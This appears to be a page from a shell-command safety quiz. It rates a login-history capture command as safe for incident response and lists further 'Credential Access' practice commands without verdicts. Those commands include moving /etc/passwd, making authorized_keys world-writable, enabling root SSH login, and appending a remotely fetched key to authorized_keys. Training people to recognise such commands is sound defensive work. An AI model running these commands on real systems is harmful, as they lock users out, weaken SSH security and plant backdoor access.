Safe
last -Faiw > /evidence/ir-2026-004/logins.txtlinux · bash · Advanced
Saves the login history with full timestamps and source addresses. Who logged in, from where, and when is central to scoping an intrusion,…
The full explanation and danger signals for this pack are part of Pro.
Think you can spot these under time pressure?
Start TrainingMore Credential Access
mv /etc/passwd /tmp/passwd.bakIntermediatechmod 600 ~/.ssh/id_ed25519Intermediatechmod 777 ~/.ssh/authorized_keysAdvancedmv ~/.ssh/authorized_keys /tmp/ak.bak && touch ~/.ssh/authorized_keysIntermediatesed -i 's/PermitRootLogin no/PermitRootLogin yes/' /etc/ssh/sshd_configAdvancedcurl -s https://example.com/id.pub >> ~/.ssh/authorized_keysExpert